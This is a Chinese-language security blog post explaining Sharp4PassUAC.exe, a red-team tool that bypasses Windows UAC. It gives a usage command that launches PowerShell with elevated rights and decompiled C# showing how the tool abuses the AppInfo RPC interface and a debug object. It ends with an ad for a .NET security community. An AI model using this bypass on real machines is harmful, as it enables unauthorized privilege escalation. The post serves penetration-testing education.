01阅读须知
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面
02基本介绍
Sharp4PassUAC.exe 是一个用于绕过 UAC 保护的内网渗透工具,帮助渗透测试人员和红队成员在 Windows 系统上实现特权提升。工具利用了远程过程调用RPC和分布式组件对象模型DCOM中的特定漏洞,通过暴露敏感操作的接口来提升权限。这使得 Sharp4PassUAC.exe 能够在不触发 UAC 提示的情况下,以高权限运行指定的进程或命令。
03使用方法
Sharp4PassUAC.exe 工具的基本用法如下
Sharp4PassUAC.exe /command:cmd.exe /arguments:"/c powershell.exe" /newconsole
其中,/arguments 参数提供了传递给该程序的参数,例如 /c powershell.exe 表示通过 cmd 运行 powershell,/newconsole 表示以新控制台窗口启动。如下图所示。
04原理解析
下面工具核心功能通过以下步骤实现,首先,工具通过 LaunchAdminProcess 函数启动一个未提升权限的进程,代码片段如下:
NtProcess ntProcess = Program.LaunchAdminProcess(text2, null, Program.StartFlags.None, 1025, "WinSta0\\Default");
Console.WriteLine("[+] Unelevated process created ({0})", ntProcess.ProcessId);
在此过程中,LaunchAdminProcess 函数会调用 StartAppinfoService 方法以确保 Windows 应用程序信息服务(Appinfo)启动,这对于特权提升操作是必要的。
随后,AiEnableDesktopRpcInterface 方法利用了一个 COM RpcInterface 来启动进程。具体代码如下所示。
private static NtProcess LaunchAdminProcess(string executable, string cmdline, Program.StartFlags flags, CreateProcessFlags create_flags, string desktop)
{
Program.StartAppinfoService();
NtProcess result;
using (Client client = new Client())
{
client.Connect();
create_flags |= 1024;
Struct_2 struct_;
int num2;
int num = client.AiEnableDesktopRpcInterface(executable, cmdline, (int)flags, create_flags, "c:\\windows", desktop, default(Struct_0), new NdrUInt3264(Program.GetDesktopWindow()), -1, out struct_, out num2);
if (num != 0)
{
throw new Win32Exception(num);
}
using (NtObjectWithDuplicate<NtThread, ThreadAccessRights>.FromHandle(new IntPtr((long)((ulong)struct_.Member8.Value))))
{
result = NtObjectWithDuplicate<NtProcess, ProcessAccessRights>.FromHandle(new IntPtr((long)((ulong)struct_.Member0.Value)));
}
}
return result;
}
在 AiEnableDesktopRpcInterface 中,工具会连接到 Windows 的 AppInfo 服务,通过此服务可以绕过 UAC 并以高权限创建新的桌面进程。
最后,创建未提升权限的进程后,工具通过调试对象(Debug Object)机制来获得对目标进程的完全控制权限,代码如下所示。
NtProcess ntProcess2 = NtObjectWithDuplicate<NtProcess, ProcessAccessRights>.DuplicateFrom(((CreateProcessDebugEvent)debugEvent).Process, intPtr);
Console.WriteLine("[+] Obtained full access handle to elevated process");
((CreateProcessDebugEvent)debugEvent).Process.Terminate(0);
Console.WriteLine("[+] Terminated elevated process");
这里工具获取了具有完全权限的进程句柄,并通过 Terminate 方法终止了高权限的进程,以防止重复的进程干扰,工具释放了与目标进程的调试关联,使得新创建的高权限进程能够以提升的权限运行指定的命令或程序,从而实现绕过 UAC 的目的。
综上,Sharp4PassUAC.exe 工具通过利用 Windows 应用程序信息服务和调试对象获取对进程的完全控制权限,从而实现不触发 UAC 提示的情况下启动高权限的进程。
05.NET安全知识库
星球文化20+个专题栏目涵盖了点、线、面、体等知识面!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。